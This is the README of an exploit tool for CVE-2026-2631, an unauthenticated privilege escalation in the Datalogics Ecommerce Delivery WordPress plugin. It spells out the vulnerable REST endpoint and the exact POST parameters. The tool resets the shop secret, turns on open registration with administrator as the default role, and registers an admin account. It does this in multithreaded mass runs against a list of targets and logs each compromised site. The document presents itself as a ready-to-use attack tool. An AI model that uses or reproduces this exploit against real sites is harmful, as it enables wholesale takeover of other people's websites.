CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Unauthenticated Privilege Escalation

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Unauthenticated Privilege Escalation

PoC / Exploit Script: CVE-2026-2631.py
Author: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contact: Telegram: @Kxploit

---

🧬 Vulnerability Overview

• Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
• Affected Versions: < 2.6.60 (exclusive)
• Vulnerability Type: Unauthenticated Privilege Escalation
• CVE: CVE-2026-2631
• CVSS v3.1: 9.8 (Critical)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Publicly Published: March 12, 2026
• Last Updated: March 19, 2026
• Researcher: Khaled Alenazi (Nxploited)

The Datalogics Ecommerce Delivery – Datalogics plugin exposes an unauthenticated endpoint:

/wp-json/gsf/v1/update-options

This script abuses that endpoint to:

1. 💣 Reset the internal shop_secret key using the vulnerable resetStoreConfigrations action.
2. 🔓 Enable user registration: users_can_register = 1.
3. 👑 Set the default new user role to administrator: default_role = administrator.
4. 🧑‍💻 Auto-register a new user via WordPress registration form:
   • wp-login.php?action=register

If successful, any new user created through the registration form will be an administrator.

---

⚙️ Features

• ✅ Mass exploitation against multiple WordPress targets (from a file).
• ✅ Unauthenticated (no login/cookies required).
• ✅ Automatic shop_secret reset via vulnerable REST endpoint.
• ✅ Auto WordPress option update:
  • users_can_register = 1
  • default_role = administrator
• ✅ Automatic account registration with custom credentials.
• ✅ Rich TUI output using rich (colored and live-updating table).
• ✅ Multithreaded with adjustable thread count.
• ✅ Result logging to Login_admin.txt.

---

📦 Requirements

🐍 Runtime

• Python 3.x (recommended 3.8+)

📚 Python Packages

Install required packages:

pip install -r requirements.txt

Example requirements.txt:

requests
rich
urllib3

Or install manually:

pip install requests rich urllib3

---

🧪 Script Logic (High Level Flow)

For each target:

1. Normalize URL

   • Ensures http:// is prepended if missing.
   • Strips trailing slashes.

2. Reset shop_secret

   • Endpoint:
     /wp-json/gsf/v1/update-options
   • POST data:
     • action = resetStoreConfigrations
     • shop_secret = <new_secret>
   • Looks for response text:
     • app secret key has been updated successfully

3. Update WordPress Options

   • Same endpoint, with:
     • action = createUpdateOption
   • Two option updates:
     1. option_key = users_can_register, option_value = 1
     2. option_key = default_role, option_value = administrator
   • Success pattern:
     • wordpress option has been created or updated successfully

4. Check if Registration is Open

   • URL:
     /wp-login.php?action=register
   • Checks HTML for:
     • Users can register, Anyone can register, user_registration, registerform
   • Or detects explicit:
     • user registration is currently not allowed

5. Attempt User Registration

   • Same register URL.
   • Extracts _wpnonce from hidden input if present.
   • Sends registration POST:
     • user_login, user_email
     • user_pass/user_pass2 if password fields exist
     • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
   • Detects success by:
     • registration complete, check your email, user registered
   • If username already exists:
     • Marks as success: user_already_exists

6. Logging

   • Every successful option update (with or without registration success) writes a line to:
     • Login_admin.txt
   • Format:

     <site> | register_url: <url> | shop_secret: <secret> | <details>
     

---

🧵 Multithreading Model

• Reads all targets from list.txt (or custom file).
• Splits targets into N chunks using chunkify.
• Launches N worker threads, each processing its own list of targets.
• Uses a shared Queue for status messages to the printer thread.
• A dedicated printer thread (printer_loop) updates a live rich table:
  • Shows index, site, status (SUCCESS/FAILED/ERROR), and detail.
  • Displays total processed and output filename.

---

🚀 Usage

1️⃣ Basic Run

python3 CVE-2026-2631.py

You’ll be interactively prompted for:

1. Targets file

   • Prompt: Targets file (one host/URL per line) [list.txt]:
   • Default: list.txt
   • Each line: domain or full URL
     • Examples:
       • victim.com
       • https://target-site.com
       • http://example.org/blog

2. Threads

   • Prompt: Threads (1-50) [10]:
   • Default: 10
   • Max: 50
     More threads = faster, but higher load on your system and targets.

3. shop_secret value

   • Prompt: shop_secret [Nxploited_newSecret]:
   • Default: Nxploited_newSecret
     This is the new secret key sent to resetStoreConfigrations.

4. Registration credentials

   • Registration username [Nx_test1]:
   • Registration email [[email protected]]:
   • Registration password [Nx_adminSA]:

These creds will be used for the registration attempt on each vulnerable target.

---

2️⃣ Targets File Format

Create list.txt (or any file you want) with one target per line:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

The script will:

• Auto-add http:// if missing.
• Remove trailing /.

---

3️⃣ Output & Results

• All successful operations (even if user registration fails but options are set) are written to:

  Login_admin.txt

• A typical line:

  http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
  

• Examples of status in the live table:

  • ✅ SUCCESS – options set and/or user registered.
  • ❌ FAILED – reset/options failed, vulnerability not exploitable.
  • ⚠️ ERROR – Exception, network errors, timeouts, etc.

---

🧱 HTTP Endpoints & Parameters

🔓 Vulnerable REST Endpoint

POST /wp-json/gsf/v1/update-options

1. Reset shop_secret

action=resetStoreConfigrations
shop_secret=<new_secret>

2. Update Options

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1

action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Registration Endpoint

GET/POST /wp-login.php?action=register

The script:

• Extracts _wpnonce if present.
• Sends registration data with the provided username, email, and password (if fields exist).

---

🔧 Script Internals (Key Functions)

• normalize_site(raw: str) -> str
  Normalizes target URLs.

• send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
  Tries the resetStoreConfigrations action.

• send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
  Sets WordPress options via the vulnerable endpoint.

• check_registration_open(site: str, timeout: int = 10) -> (bool, str)
  Checks if registration is open and form is accessible.

• try_register_user(...) -> (bool, str)
  Attempts to register the supplied user.

• write_success_line(site: str, secret: str, detail: str)
  Logs success details into Login_admin.txt.